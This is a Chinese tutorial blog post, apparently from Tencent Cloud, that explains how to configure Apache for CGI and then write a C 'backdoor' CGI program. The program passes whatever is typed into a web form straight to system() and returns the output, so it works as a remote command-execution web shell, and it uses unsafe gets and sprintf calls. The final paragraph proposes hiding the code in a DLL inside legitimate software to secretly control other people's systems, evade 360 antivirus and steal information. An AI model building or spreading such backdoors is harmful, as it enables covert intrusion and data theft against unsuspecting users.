c/c++----网站及其后门(CGI应用程序)

      C/C++学习到这儿,结合自己曾经学过的javasweb知识,现在让我们来看看,如何做一个CGI程序吧!

      首先了解一下啥子叫CGI  :CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。    ----来自百度百科

1.  首先,我们需要 Apache server2.0(学习web,应该必须知道这个的,嘻嘻),安装好该软件之后,也许会出现很多的问题,导致打不开什么的。喵了个咪的,博主本人曾经也是搞了老半天,不过最后,还是搞定了!

    (1). 其实主要情况,我遇到就两种,第一种,就是我们为了节约开机时间,将IIS关闭了,或者有些侠客直接将它卸载了! 所以导致打不开!  

           -----------------------面对这种问题,下一个就好了!  Apache server2.0 需要 IIS 配合。 

      (2). 第二种就是80端口被占用了,这是最容易发生的情况没有之一。  解决的方法有很多,但是个人比较喜欢这样来搞。

     cmd --》 net -ano   --->查看那些占用了80端口(一般是浏览器什么的居多) 几下他们的  PID ,然后在进程管理哪儿关闭就好了!

上面的Apache server 运行起来之后,就在浏览器中 敲入 localhost ,会显示一个

然后修改一个,http.cof文件   

找到俩个位置:

第一个位置: #  AddHandler cgi-script .cgi   将这个语句的前面#注释符去掉

第二个位置: 

<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin"> AllowOverride None Options None    -----将这个位置替换为:    Options Indexes ExecCGI Order allow,deny Allow from all

</Directory>

这两个位置配置好之后。就可以用C/C++编程了!

第一步:我们编写一个这样的文件

1 #include<stdio.h>
2 int main(int args ,char * argv []) {
3   
4     printf("Content-type:text/html\n\n");
5     printf("hello world ! 我是cgi ");
6     getchar();
7   return 0;
8 }

 编译,生成一个这样的 hello.exe文件、生成之后,我们将hell.exe的属性改为 hello.cgi

然后将其放置到,自己安装的Apache server2.0文件中的cgi-bin文件下

在浏览器中,再输入,localhost/cgi-bin/hello.cgi  就可以看到这样的画面

2. 那么说了这么多,我们又该用c/c++写一个cgi来做后台,在背后来操作这个数据呢! 

    首先,我们需要写一个html,做个web的,对于这些当然,是再easy不过了! 为了节约时间,就写一个简陋点的html吧!!

诺,看!

 1 <html>
 2 <head>
 3   <title>后台</title>
 4 </head>
 5 
 6 <body>
 7             <h1> 后台界面</h1>
 8  <form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI >
 9   
10   请输入命令cmd: <input  type="text"  name="textlist"     /><br><br>  
11   <input  type="submit"    /><br>
12  </form>
13  <hr>
14 <body>
15 </html>

   这个界面的运行的效果,如下图:

  当然,这个当我们在做web的时候,这个是可以内嵌到,我们的项目中的!在于你将这个jsp放到哪个地儿啦!

 最后就是重点了! 就像我上面写的cgi一样! 写一个下面这样的代码:

 1 #define  _CRT_SECURE_NO_WARNINGS
 2 #include<stdio.h>
 3 #include<stdlib.h>
 4 //#include<stdexcept>
 5 #include<windows.h>
 6 
 7 //以调用System为举例
 8 void func(char ps []) {
 9     // ps 为cmd命令
10     char *pl = strchr(ps,'=');  //pl指向当前的位置
11     if(pl!=NULL)   ps = ps + (pl-ps+1);
12      printf("命令cmd = %s\n", ps);
13     char cmd[256] = {'\0'};
14     char  filename[]  = "Gxjun.txt";   //暂定放置于当前目录。
15     sprintf(cmd,"%s > %s ",ps,filename);  //将ps的内容写入cmd中
16     //生成了一条指令
17     //无论是否执行成功,都会生成一个Gxjun.txt文件
18     FILE *fp = NULL;
19     int tag=system(cmd);  
20     if (tag == 1) {
21         printf("命令格式错误!,请重新输入: ");
22         goto loop;
23     }
24     if ((fp = fopen(filename, "r")) == NULL) {
25         printf("没有发现文件!");
26         goto loop ;
27      }
28 
29      while (!feof(fp)) {
30          char str=fgetc(fp);
31           if (str == '\n') printf("<br><br>\n\n");
32           else if (str == ' ')printf("&nbsp;");
33           else
34               printf("%c",str);
35      }
36 
37  loop:
38      if (fp != NULL){
39          fclose(fp);
40          //并删除备份的文件
41          system("del Gxjun.txt");
42      }
43      return ;
44 }
45 
46 
47 int main(int args ,char * argv []) {
48   
49     printf("Content-type:text/html\n\n");
50     //打印环境变量
51     printf("&nbsp;&nbsp;&nbsp;%s<br><br>", getenv("QUERY_STRING"));
52     char szPost[256] = {'\0'};
53     gets(szPost);  //获取输入    
54     if ( strlen(szPost) < 1 )
55         strcpy( szPost , "ipconfig" );
56     func(szPost);
57     getchar();
58   return 0;
59 }

  编译之后,形成hello.exe改成将.exe属性改为hello.cgi文件,放置到cgi-bin目录中,当然,如果有服务器,之间放到服务器中就可以看!  就像这样

3.打开浏览器,输入类似这样的如下图:

输入一个  tasklist之后,得到这样一个页面显示:

输入: ipconfig 之后得到的画面:

好了! 关于,网站后台的知识,大概就这么多了! 写的比较操蛋! 当然,还可以无限的加精! 这个,得看,你能花多少时间在这个上面了! 做的精华了,你就是一个Hacker!    

  当然,其实这个技术,不仅仅仅限于web这方面,可以适应任何软件,我们可以生成一个lib/dll文件,然后#progma(lib,"**.lib");这样的宏命令,嵌入到我们的软件中,利用这个存在的软件,作为幌子,可以暗暗的操控被人的系统的!  当然也可以再写一个dll文件,来执行相应的操作的!这样的话,就需要加入很多的随机元素,比如文件生成不能再是Gxjun,txt,而应该是随机的生成,路径随意的生成,,当然这些都是很容易实现的,这样很容易躲过360的钩子这个流氓软件! 然后对别人 的软件偷偷的窃取信息什么的!! 当然,有360把关最底层,你所做的行为不可能逃过它的的监控,唯一的方法就是花钱,让360放行,等等! 当然,我们还是可以通过下载者自己放行就可以了(虽然会被拦截)!  

----------------以上都是依据本屌实际操作可行,以及学习得到的经历,分享出来,供大家参考,如果有误,欢迎,严厉带着苛刻的指正!谢谢!------------------

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏编程

我是如何利用CSRF Get DedeCms Shell的

说实话,有一两个月没有审计大厂了,然后随便看到群里有人问dede最新有没有漏洞,就下了一套最新的dede,结果我一看还真发现了。 ? 我们发现后台添加广告的地方...

22470
来自专栏Kirito的技术分享

从Spring Session源码看Session机制的实现细节

去年我曾经写过几篇和 Spring Session 相关的文章,从一个未接触过 Spring Session 的初学者视角介绍了 Spring Session ...

658120
来自专栏一名合格java开发的自我修养

计算机操作系统之存储管理

内存的回收与分配,地址变换(程序中的逻辑地址与内存中的物理地址之间的转换),内存扩充(借助虚拟技术或覆盖技术从逻辑上扩充内存容量),内存保护(保证进入内存的各道...

7910
来自专栏微服务生态

深入浅出Netflix Conductor使用

Netflix Conductor框架是典型的服务编排框架,通过Conductor还可以实现工作流和分布式调度,性能非常卓越。

1.2K30
来自专栏大数据文摘

手把手 | 20行Python代码教你批量将PDF转为Word

35250
来自专栏技术博文

Memcached 及 Redis 架构分析和比较

Memcached和Redis作为两种Inmemory的key-value数据库,在设计和思想方面有着很多共通的地方,功能和应用方面在很多场合下(作为分布式缓存...

34830
来自专栏美团技术团队

分布式系统互斥性与幂等性问题的分析与解决

前言 随着互联网信息技术的飞速发展,数据量不断增大,业务逻辑也日趋复杂,对系统的高并发访问、海量数据处理的场景也越来越多。如何用较低成本实现系统的高可用、易伸缩...

57040
来自专栏有趣的django

Django REST framework+Vue 打造生鲜超市(十二) 十三、首页、商品数量、缓存和限速功能开发

十三、首页、商品数量、缓存和限速功能开发  13.1.轮播图接口实现 首先把pycharm环境改成本地的,vue中local_host也改成本地  (1)goo...

74170
来自专栏FreeBuf

利用Winrm.vbs绕过白名单限制执行任意代码

winrm.vbs(一个位于system32目录下的具有Windows签名的脚本文件)可以被用来调用用户定义的XSL文件,从而导致任意的、没有签名的代码执行。当...

23840
来自专栏FreeBuf

Linux Rootkit系列一:LKM的基础编写及隐藏

免责声明:本文介绍的安全知识方法以及代码仅用于渗透测试及安全教学使用,禁止任何非法用途,后果自负 前言:作者最近在学习有关linux rootkit的原理与防范...

380100

扫码关注云+社区

领取腾讯云代金券